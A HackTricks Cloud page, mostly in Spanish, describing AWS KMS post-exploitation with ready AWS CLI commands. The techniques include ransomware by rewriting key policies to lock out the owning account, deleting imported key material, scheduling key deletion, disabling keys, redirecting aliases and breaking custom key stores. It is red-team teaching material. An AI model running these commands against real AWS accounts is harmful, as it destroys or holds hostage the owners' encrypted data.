AWS - KMS Post Exploitation
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
KMS
Para más información consulta:
Encrypt/Decrypt information
fileb:// and file:// son esquemas URI usados en comandos de AWS CLI para especificar la ruta a archivos locales:
fileb://:Lee el archivo en modo binario, comúnmente usado para archivos que no son de texto.file://:Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts o JSON que no tengan requisitos especiales de codificación.
Tip
Ten en cuenta que si quieres descifrar datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
- Usando una clave simétrica
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Usando una clave asimétrica:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Un attacker con acceso privilegiado sobre KMS podría modificar la KMS policy de las keys y grant his account access over them, eliminando el acceso concedido a la legit account.
Entonces, los legit account users no podrán acceder a ninguna información de cualquier servicio que haya sido encrypted con esas keys, creando un ransomware sencillo pero efectivo sobre la cuenta.
Warning
Ten en cuenta que AWS managed keys aren’t affected por este ataque; solo Customer managed keys.
También ten en cuenta la necesidad de usar el parámetro
--bypass-policy-lockout-safety-check(la ausencia de esta opción en la consola web hace que este ataque sea posible solo desde la CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Ten en cuenta que si cambias esa policy y solo das acceso a una cuenta externa, y luego desde esa cuenta externa intentas establecer una nueva policy para devolver el acceso a la cuenta original, no podrás hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada.
.png)
Ransomware genérico de KMS
There is another way to perform a global KMS Ransomware, which would involve the following steps:
- Crear una nueva key con material de clave importado por el atacante
- Re-encriptar datos antiguos de la víctima que estaban cifrados con la versión anterior usando la nueva.
- Eliminar la KMS key
- Ahora solo el atacante, que posee el material de clave original, podría ser capaz de descifrar los datos cifrados
Delete Keys via kms:DeleteImportedKeyMaterial
With the kms:DeleteImportedKeyMaterial permission, an actor can delete the imported key material from CMKs with Origin=EXTERNAL (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
aws kms delete-imported-key-material --key-id <Key_ID>
Destruir claves
Al destruir claves, es posible provocar un DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Tenga en cuenta que AWS ahora impide que las acciones anteriores se realicen desde una cuenta cruzada:
Change or delete Alias
Este ataque elimina o redirige los alias de AWS KMS, interrumpiendo la resolución de claves y causando fallos inmediatos en cualquier servicio que dependa de esos alias, resultando en un denial-of-service. Con permisos como kms:DeleteAlias o kms:UpdateAlias, un atacante puede eliminar o volver a apuntar alias y perturbar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del ID de la clave puede fallar hasta que el alias se restaure o se reasigne correctamente.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
Con permisos como kms:CancelKeyDeletion y kms:EnableKey, un actor puede cancelar la eliminación programada de una AWS KMS customer master key y posteriormente volver a habilitarla. Al hacerlo, se recupera la key (inicialmente en Disabled state) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo exfiltration.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Disable Key
Con el permiso kms:DisableKey, un actor puede deshabilitar una AWS KMS customer master key, impidiendo que se utilice para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la clave sea reactivada.
aws kms disable-key \
--key-id <key_id>
Derive Shared Secret
Con el permiso kms:DeriveSharedSecret, un actor puede usar una clave privada mantenida en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Suplantación mediante kms:Sign
Con el permiso kms:Sign, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la clave privada, produciendo firmas válidas que pueden permitir la suplantación de identidad o autorizar acciones maliciosas.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS con Custom Key Stores
Con permisos como kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore o kms:UpdateCustomKeyStore, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso rompe las operaciones de cifrado, descifrado y firmado para cualquier servicio que dependa de esas claves y puede causar una denegación de servicio inmediata. Por ello, es crítico restringir y monitorizar esos permisos.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

